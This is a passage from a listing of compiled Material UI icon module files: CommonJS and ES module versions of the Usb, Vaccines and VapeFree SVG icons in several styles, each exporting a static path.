  {
    "path": "packages/mui-icons-material/lib/UsbOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'UsbOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'UsbOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1v2h-3V5h1c.41 0 .65-.47.4-.8l-2-2.67c-.2-.27-.6-.27-.8 0l-2 2.67c-.25.33-.01.8.4.8h1v8H8v-2.07c.83-.44 1.38-1.36 1.14-2.43-.17-.77-.77-1.4-1.52-1.61C6.15 6.48 4.8 7.59 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.1.9 2 2 2h3v3.05c-.86.45-1.39 1.42-1.13 2.49.18.75.79 1.38 1.54 1.58 1.46.39 2.8-.7 2.8-2.12 0-.85-.49-1.58-1.2-1.95V15h3c1.1 0 2-.9 2-2v-2c.55 0 1-.45 1-1V8C19 7.45 18.55 7 18 7\"\n}), 'UsbRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1v2h-3V5h1c.41 0 .65-.47.4-.8l-2-2.67c-.2-.27-.6-.27-.8 0l-2 2.67c-.25.33-.01.8.4.8h1v8H8v-2.07c.83-.44 1.38-1.36 1.14-2.43-.17-.77-.77-1.4-1.52-1.61C6.15 6.48 4.8 7.59 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.1.9 2 2 2h3v3.05c-.86.45-1.39 1.42-1.13 2.49.18.75.79 1.38 1.54 1.58 1.46.39 2.8-.7 2.8-2.12 0-.85-.49-1.58-1.2-1.95V15h3c1.1 0 2-.9 2-2v-2c.55 0 1-.45 1-1V8C19 7.45 18.55 7 18 7\"\n}), 'UsbRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'UsbSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'UsbSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'UsbTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'UsbTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vaccines.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5.5H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4l2 1.5V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3M15 20v-1.5h4V20z\"\n}), 'Vaccines');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vaccines.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5.5H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4l2 1.5V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3M15 20v-1.5h4V20z\"\n}), 'Vaccines');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5.5H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4l2 1.5V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3m2.5 5V17h-4v-1.5zM15 20v-1.5h4V20z\"\n}), 'VaccinesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5.5H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4l2 1.5V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3m2.5 5V17h-4v-1.5zM15 20v-1.5h4V20z\"\n}), 'VaccinesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 22.5c.55 0 1-.45 1-1V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4.5c0 .55.45 1 1 1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3M15 20v-1.5h4V20z\"\n}), 'VaccinesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 22.5c.55 0 1-.45 1-1V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4.5c0 .55.45 1 1 1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3M15 20v-1.5h4V20z\"\n}), 'VaccinesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.5H8V4h1.5V2h-5v2H6v1.5H2v2h1V17h3v4l2 1.5V17h3V7.5h1zM9 9H6.5v1.5H9V12H6.5v1.5H9V15H5V7.5h4zm10.5 1.5V10h1V8h-7l-.01 2h1.01v.5c0 .5-1.5 1.16-1.5 3V22h8v-8.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3M15 20v-1.5h4V20z\"\n}), 'VaccinesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.5H8V4h1.5V2h-5v2H6v1.5H2v2h1V17h3v4l2 1.5V17h3V7.5h1zM9 9H6.5v1.5H9V12H6.5v1.5H9V15H5V7.5h4zm10.5 1.5V10h1V8h-7l-.01 2h1.01v.5c0 .5-1.5 1.16-1.5 3V22h8v-8.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3M15 20v-1.5h4V20z\"\n}), 'VaccinesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17h-4v-1.5h4zM9 7.5H5V15h4v-1.5H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H9v-1.5H7.25c-.41 0-.75-.34-.75-.75S6.84 9 7.25 9H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5.5H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4l2 1.5V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3m2.5 5V17h-4v-1.5zM15 20v-1.5h4V20z\"\n}, \"1\")], 'VaccinesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VaccinesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17h-4v-1.5h4zM9 7.5H5V15h4v-1.5H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H9v-1.5H7.25c-.41 0-.75-.34-.75-.75S6.84 9 7.25 9H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5.5H8V4h.5c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1H6v1.5H3c-.55 0-1 .45-1 1s.45 1 1 1V15c0 1.1.9 2 2 2h1v4l2 1.5V17h1c1.1 0 2-.9 2-2V7.5c.55 0 1-.45 1-1s-.45-1-1-1M9 9H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V12H7.25c-.41 0-.75.34-.75.75s.34.75.75.75H9V15H5V7.5h4zm10.5 1.5V10c.55 0 1-.45 1-1s-.45-1-1-1h-5c-.55 0-1 .45-1 1s.45 1 1 1v.5c0 .5-1.5 1.16-1.5 3V20c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-6.5c0-1.84-1.5-2.5-1.5-3m-3 0V10h1v.5c0 1.6 1.5 2 1.5 3v.5h-4v-.5c0-1 1.5-1.4 1.5-3m2.5 5V17h-4v-1.5zM15 20v-1.5h4V20z\"\n}, \"1\")], 'VaccinesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFree.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}), 'VapeFree');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFree.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}), 'VapeFree');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}), 'VapeFreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5h1c1.33 0 2.71-.18 4-.5v3c-1.29-.32-2.67-.5-4-.5H2zM16.17 19H8v-3h5.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41zm2.66-3H22v3h-.17zM11 17.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5.22.5.5.5.5-.22.5-.5m11-4.74V15h-1.5v-2.23c0-2.24-1.76-4.07-4-4.07V7.2c1.02 0 1.85-.83 1.85-1.85S17.52 3.5 16.5 3.5V2c1.85 0 3.35 1.5 3.35 3.35 0 .93-.38 1.77-1 2.38 1.87.89 3.15 2.81 3.15 5.03M11.15 8.32V8.3c0-1.85 1.5-3.35 3.35-3.35v1.5c-1.02 0-1.85.73-1.85 1.75s.83 2 1.85 2h1.53c1.87 0 3.47 1.35 3.47 3.16V15H18v-1.3c0-1.31-.92-2.05-1.97-2.05h-1.55z\"\n}), 'VapeFreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 21.9c-.39.39-1.02.39-1.41 0l-2.9-2.9H8v-3h5.17L2.1 4.93c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M18.83 16h1.67c.83 0 1.5.67 1.5 1.5 0 .46-.21.87-.53 1.14zm-8.33 1c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m8.35-9.27c.62-.61 1-1.45 1-2.38 0-1.51-1-2.79-2.38-3.21-.48-.14-.97.22-.97.72 0 .33.21.62.52.71.77.23 1.33.94 1.33 1.78 0 .82-.53 1.51-1.27 1.76-.33.11-.58.39-.58.74V8c0 .37.27.69.64.75 1.93.31 3.36 2 3.36 4.02v1.48c0 .41.34.75.75.75s.75-.34.75-.75v-1.49c0-2.22-1.28-4.14-3.15-5.03m-4.37 3.92h1.55c1.05 0 1.97.74 1.97 2.05v.55c0 .41.34.75.76.75.41 0 .75-.33.75-.75v-.89c-.01-1.81-1.61-3.16-3.48-3.16h-1.3c-1.02 0-1.94-.73-2.07-1.75-.12-.95.46-1.7 1.3-1.93.32-.09.54-.38.54-.72 0-.49-.46-.86-.93-.72-1.41.41-2.43 1.71-2.42 3.24zM3 18.5c1.33 0 2.71.18 4 .5v-3c-1.29.32-2.67.5-4 .5-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'VapeFreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VapeFreeRounded.mjs",
